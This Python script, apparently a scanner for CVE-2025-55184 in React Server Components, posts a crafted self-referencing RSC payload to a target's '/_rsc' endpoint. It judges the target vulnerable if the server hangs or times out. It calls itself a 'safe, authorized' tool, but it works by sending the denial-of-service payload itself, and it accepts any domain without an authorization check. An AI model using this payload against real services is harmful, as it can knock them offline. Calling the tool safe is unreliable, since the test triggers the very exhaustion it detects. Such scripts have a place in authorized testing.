KK_CVE_2025-55184_Testing.py

#!/usr/bin/env python3

import requests
import json
import time
import argparse
import sys
from urllib.parse import urljoin, urlparse
from datetime import datetime
from typing import List, Dict


class Colors:
    HEADER   = '\033[38;5;179m'   # soft yellow / brown
    BANNER   = '\033[38;5;182m'   # muted pink
    INFO     = '\033[38;5;250m'   # light gray
    SUCCESS  = '\033[38;5;28m'    # DARK GREEN
    WARNING  = '\033[38;5;180m'   # soft yellow
    ERROR    = '\033[38;5;167m'   # muted red
    CRITICAL = '\033[38;5;124m'   # DARK RED
    DEBUG    = '\033[38;5;244m'   # gray
    PROMPT   = '\033[38;5;190m'   # neutral gray
    RESET    = '\033[0m'
    BOLD     = '\033[1m'


# ---------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------

def print_banner():
    banner = f"""
{Colors.HEADER}{Colors.BOLD}------------------------------------------------------------{Colors.RESET}
{Colors.BANNER}{Colors.BOLD}   CVE-2025-55184 | React Server Components DoS Scanner   {Colors.RESET}
{Colors.BANNER}   Safe, Authorized Security Validation Tool              {Colors.RESET}
{Colors.HEADER}{Colors.BOLD}------------------------------------------------------------{Colors.RESET}
{Colors.DEBUG}   Internal testing use only – authorization required{Colors.RESET}
"""
    print(banner)


def print_vulnerability_info():
    info = f"""
{Colors.HEADER}Overview:{Colors.RESET}
  CVE-2025-55184 affects React Server Components deserialization.
  Malformed RSC payloads can cause infinite resolution loops,
  resulting in denial of service through CPU exhaustion.

{Colors.HEADER}Impact:{Colors.RESET}
  • Application hang or crash
  • Resource exhaustion
  • Service unavailability

{Colors.HEADER}Fixed Versions:{Colors.RESET}
  • React 19.0.2+
  • React 19.1.3+
  • React 19.2.2+
"""
    print(info)


# ---------------------------------------------------------------------
# Scanner Class
# ---------------------------------------------------------------------
class CVE202555184Scanner:
    def __init__(self, timeout=5, verbose=False):
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.results = []

    def log(self, msg, level="INFO"):
        if not self.verbose and level == "DEBUG":
            return

        color = {
            "INFO": Colors.INFO,
            "SUCCESS": Colors.SUCCESS,
            "WARNING": Colors.WARNING,
            "ERROR": Colors.ERROR,
            "CRITICAL": Colors.CRITICAL,
            "DEBUG": Colors.DEBUG,
        }.get(level, Colors.INFO)

        ts = datetime.now().strftime("%H:%M:%S")
        print(f"{color}[{ts}] {msg}{Colors.RESET}")

    def normalize_url(self, url):
        if not url.startswith(("http://", "https://")):
            url = "http://" + url
        return url.rstrip("/")

    def validate_url(self, url):
        try:
            p = urlparse(url)
            return bool(p.scheme and p.netloc)
        except Exception:
            return False

    def test_target(self, target):
        target = self.normalize_url(target)
        self.log(f"Testing {target}")

        payload = {
            "0": "$1",
            "1": {
                "status": "resolved_model",
                "reason": {"$$typeof": "Symbol(react.element)"},
                "_response": "$2",
                "value": {"then": "$0:then", "0": "$1", "1": "$0"}
            },
            "2": {"nested": "$1", "ref": "$1"}
        }

        headers = {
            "Content-Type": "application/json",
            "User-Agent": "CVE-2025-55184-Tester",
            "Connection": "close"
        }

        try:
            start = time.time()
            self.session.post(
                urljoin(target, "/_rsc"),
                data=json.dumps(payload),
                headers=headers,
                timeout=self.timeout
            )
            elapsed = time.time() - start

            if elapsed > 3:
                return True
            return False

        except requests.exceptions.Timeout:
            return True

    def scan_single_domain(self, domain):
        print_vulnerability_info()
        vulnerable = self.test_target(domain)

        print(f"\n{Colors.HEADER}{Colors.BOLD}Scan Summary{Colors.RESET}")
        if vulnerable:
            print(f"{Colors.CRITICAL}{domain} -> Vulnerable{Colors.RESET}")
        else:
            print(f"{Colors.SUCCESS}{domain} -> Not Vulnerable{Colors.RESET}")


# ---------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--domain", required=True)
    args = parser.parse_args()

    print_banner()
    scanner = CVE202555184Scanner()
    scanner.scan_single_domain(args.domain)


if __name__ == "__main__":
    main()